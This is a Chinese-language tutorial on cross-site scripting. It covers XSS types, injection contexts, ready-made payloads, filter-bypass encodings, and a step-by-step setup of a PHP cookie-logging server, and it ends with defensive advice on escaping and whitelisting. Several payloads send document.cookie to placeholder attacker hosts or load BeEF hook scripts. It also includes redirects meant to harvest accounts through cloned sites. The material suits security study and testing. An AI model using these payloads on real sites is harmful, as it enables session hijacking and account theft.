XSS簡介
跨站腳本攻擊也就是我們常說的XSS,是Web攻擊中最常見的攻擊手法之一,通過在網頁插入可執行代碼,達到攻擊的目的。本質上來說也是一種注入,是一種靜態腳本代碼(HTML或Javascript等)的注入,當覽器渲染整個HTML文檔時觸發了注入的腳本,從而導致XSS攻擊的發生。
XSS的分類
類型 | 存儲區 | 插入點 |
---|---|---|
存儲型 | 后端數據庫 | HTML |
反射型 | URL | HTML |
DOM型 | 后端數據庫/前端存儲/URL | 前端JavaScript |
HTML元素
共有5種元素:空元素、原始文本元素、RCDATA元素、外來元素、常規元素。
空元素
area、base、br、col、command、embed、hr、img、input、keygen、link、meta、param、source、track、wbr
原始文本元素
script、style
RCDATA元素
textarea、title
外來元素
來自MathML命令空間和SVG命名空間的元素
常規元素
其他HTML允許的元素都稱為常規元素
XSS挖掘思路
XSS漏洞的本質是一種注入,是一種靜態腳本代碼的注入。
那么,大體的挖掘思路就顯而易見了:尋找可控點(參數)-> 嘗試注入
XSS的可控點(業務)
XSS出現場景分析
可控點:
-
輸出內容在標簽之間
-
普通標簽如
<pre>
內 -
RCDATA標簽如
<textarea>
內
-
-
輸出內容在標簽屬性中
-
輸出在普通標簽
value
屬性中 -
輸出在
src/href
屬性中
-
-
輸出內容在
<script>
標簽中 -
輸出內容在特殊響應包中:
Content-Type
為text/javascript
的響應包中 -
輸出結果在CSS中:比較少見,現有瀏覽器基本可以進行防御
輸出結果在標簽之間
相關案例
<pre>[---用戶輸入---]</pre>
測試方法:直接插入XSS Payload即可觸發
<!--用戶輸入:<svg onload="alert(1)"></svg>-->
<html>
<head></head>
<body>
<pre>
<svg onload="alert(1)"></svg>
</pre>
</body>
</html>
輸出結果在RCDATA之間
相關案例
<textarea>[---用戶輸入---]</textarea>
測試方法:直接插入XSS Payload無法觸發,需要先閉合,再新建。
<!--用戶輸入:</textarea><svg onload="alert(1)"></svg>-->
<html>
<head></head>
<body>
<textarea></textarea>
<svg onload="alert(1)"></svg>
</body>
</html>
補全標簽后瀏覽器成功將Payload解析成標簽體(在瀏覽器看代碼顏色是彩色的)
輸出結果在標簽屬性中
相關案例
<input type='text' value='[---用戶輸入---]'>
測試方法
<!--用戶輸入:alert(1)-->
<input type="text" value="" onclick="alert(1)">
<!--用戶輸入:"><svg/onload=alert(1)>-->
<input type="text" value=""><svg/onload=alert(1)>">
輸出結果在SRC/href屬性中
相關案例
<iframe src='[---用戶輸入---]'></iframe>
測試方法
方法一:參考輸出結果在標簽屬性中
方法二:利用協議(常用的JavaScript協議、DATA協議)
<iframe src='javaScript:alert(1)'></iframe>
其他情況
-
輸出內容在
<script>
標簽中:嘗試閉合JS語句進行觸發 -
輸出內容在
Content-Type
為text/javascript
的響應包中:嘗試原JS語句進行觸發 -
輸出內容在CSS代碼中:IE瀏覽器支持CSS中的expression,利用此類表達式可以執行XSS。
<span style="color:1;x:expression(alert(/xss/));"></span>
XSS危害
常用的觸發XSS的HTML標簽
<iframe> 會創建包含另外一個文檔的內聯框架(即行內框架)
<textarea> 定義多行的文本輸入控件
<img> 向網頁中嵌入一幅圖像
<script> 定義客戶端腳本,即可包含腳本語句,也可通過src訪問外部腳本
<input>
<svg/onload=alert(1)> svg大法!!!
<a>
其實自己創建標簽也能彈窗,比如<zxc onclick=alert(1)>xss</zxc>
常用的JavaScript方法
alert
window.location
location.href
onload
onsubmit
onerror
構造XSS腳本
彈窗警告(做測試使用)
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
頁面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
頁面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
彈窗警告並重定向(克隆網站,收集賬戶)
<script>alert("請移步我們的新站");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="http://10.1.64.35/robots.txt"</script>
訪問惡意代碼
<script src="http://ipaddress.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> 結合BeEF收集用戶cookie
巧用圖片標簽
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
繞開過濾腳本
大小寫:<ScrIpt>alert('xss')</SCRipt>
字符編碼:采用URL、Base64等編碼
收集用戶cookie
<script>window.open("http://ip.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location("http://ip.com/cookie.php?cookie="+document.cookie)</script>
<script>new Image().src="http://ip.com/cookie.php?cookie="+document.cookie;</script>
<img src="http://ip.com/cookie.php?cookie="+document.cookie></img>
<iframe src="http://ip.com/cookie.php?cookie="+document.cookie></iframe>
<script>new Image().src="http://ip.com/cookie.php?cookie="+document.cookie;
img.width = 0;
img.height = 0;
</script>
DOM型XSS
區別於其他的就是DOM型XSS不經過服務端,而是在前端的函數中直接執行。在BurpSuite中抓包是抓不到的。比如在#
號之后的東西,在BurpSuite中是看不到的。
http://192.168.0.123/xss/domxss.jsp?id=1#javascript:alert(1)
在BurpSuite中抓包如下
GET /xss/domxss.jsp?id=1
因為在前端代碼中,<script>
中寫的有問題,有個location.hash
,而且沒有做任何處理,就做了個跳轉,從而我們可以使用Javascript偽協議觸發了此DOM型XSS
<script>
var hash = location.hash;
if (hash) {
var url = hash.substring(1);
location.href = url;
}
</script>
實例:通過XSS漏洞獲取Cookie值
構建收集cookie服務器
啟動apache
systemctl start apache2
創建php文件
vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "
");
fclose($log);
?>
更改/var/www
目錄的權限
chown -R www-data.www-data /var/www/
構造XSS代碼並植入到web服務器
<script>windows.open('http://kali.address/cookie_rec.php?cookie'+document.cookie)</script>
如果前端限制了max-length
,直接F1打開開發者工具,前端改掉長度限制。然后等待靶機觸發XSS代碼並將cookie發送到Kali
XSS蠕蟲
一種具有自我傳播能力的XSS攻擊,殺傷力很大,引發XSS蠕蟲的條件比較高,需要在用戶之間發生交互行為的頁面,這樣才能形成有效的傳播。一般要結合反射型XSS和存儲型XSS。
XSS平台
是為了XSS漏洞利用而生,最基礎的功能是利用XSS漏洞盜取客戶端的cookie數據,獲取到cookie后就可以充當客戶身份登錄平台。
XSS漏洞繞過思路
常見姿勢:
-
雙URL編碼
-
Multipart方式提交
-
瀏覽器容錯性
-
編碼繞過
-
<svg>
標簽繞過 -
data協議
-
html標簽閉合
場景1:HTML實體編碼+過濾缺陷繞過
-
<>
做了HTML實體編碼- 應對方式:繼續在標簽內找機會,比如參數覆蓋等
-
過濾了常見的JS事件
- 應對方式:使用BurpSuite暴破看看其他事件是否過濾
-
過濾了alert等常見的觸發方法
-
應對方式:ASCII編碼、Unicode編碼、HTML實體十六進制編碼
最終Payload
openid=test"type="text"onmouseout="\u0061\u006c\u0065\u0072\u0074(1)
場景2:組合編碼+Data協議繞過
-
特殊符號被HTML實體編碼
- 應對方式:雙重URL編碼
-
過濾了絕大部分的JS事件
-
過濾了大部分標簽
- 應對方式:創建新的標簽
<embed>
- 應對方式:創建新的標簽
test%2522%253e%253cembed%2520src=%253e
# test"><embed src>
-
過濾了JavaScript協議以及base64關鍵字
- 應對方式:編碼解決
<embed src="data:text/htmL;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+">
# PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+為<svg/onload=alert(1)>的base64編碼
# 嘗試對逗號進行HTML實體編碼(`,`),這里對`&#`也進行了攔截,雙重URL編碼即可
最終Payload
test%2522%253e%253cembed%2520src=data:text/html:base64%2526%252344;PHN2ZyBvbmxvYWQ9YWxlcnQoMSk%252b%253e
心得1::
特殊編碼
服務端程序存在HTML編碼操作,但由於把:
編碼為:
比較特殊,Java語言的方法無法對其進行HTML實體轉化,但是瀏覽器可以正常轉化,所以可以利用此方法來嘗試繞過。
XSS防護
程序開發者
-
對用戶提交內容進行合法性校驗
-
對用戶提交內容進行轉義處理,建議輸出轉義,因為輸入轉義容易影響數據庫的數據存儲。
-
對用戶輸入的長度進行限制
需作轉義的字符 | 字符實體編碼 |
---|---|
& | & |
< | < |
> | > |
" | " |
' | ' |
/ | / |
普通用戶
-
不要輕易訪問別人給你的長鏈接,它可能包含了轉碼后的惡意HTML代碼
-
禁止瀏覽器運行JS和ActiveX代碼
特殊字符處理
一般的XSS漏洞是因為沒有過濾特殊字符,導致可以通過注入單雙引號以及尖括號等字符利用漏洞。我們常見的利用代碼比如
'"><img src=x onerror=alert(/xss/)>--
<script>alert(/xss/)</script>
我們可以看到或是利用了特殊字符將原本正常的標簽閉合進行利用,所以對特殊的字符進行過濾是可行的。
特殊字符列表如下:
-
單引號(
'
) -
雙引號(
"
) -
尖括號(
<>
) -
反斜杠(
\
) -
冒號(
:
) -
and符(
&
) -
井號(
#
)
這些字符應該怎么過濾?這些字符什么時候過濾?
在正常系統中,為了保證用戶體驗以及數據的原始性,最好的過濾方式是在輸出的時候進行如HTML實體一類的轉碼,防止腳本注入。
HTML轉義輸出
上面說到,特殊字符處理不能涵蓋所有方面,有些特殊的地方要求輸入特殊字符該怎么辦呢?這里可以對所有輸出和二次輸出進行轉義,可以最大限度保存數據的同時保證安全,可以用HtmlUtils實現HTML標簽和轉義字符的轉換。
String string = HtmlUtils.htmlEscape(userinput); // 對字符進行轉義
String s2 = HtmlUtils.htmlUnescape(string); // 對字符進行恢復
標簽事件屬性黑名單
之前我們提到了過濾特殊字符防止XSS漏洞,實際上,即使過濾了也同樣可能會被繞過,比如利用寬字節注入一樣的方式吃掉斜杠,然后再利用標簽事件來執行js代碼,面對這種情況,建議是加標簽事件的黑名單或者白名單,這里推薦白名單,實現規則可以用正則進行匹配。OWASP開源項目上面可以看到可以觸發事件的標簽,可以根據標簽根據業務需求編寫黑名單或者白名單。
參考:XSS Filter Evasion Cheatsheet
白名單參數限制
白名單限制應該是最安全的防御思路了,可以在filtter中編寫相關的參數樣式,然后過濾,如針對手機號碼,只接收11位數字以13,15,17,18,19開頭的數字,如果不是這些style則應該拒絕任何響應。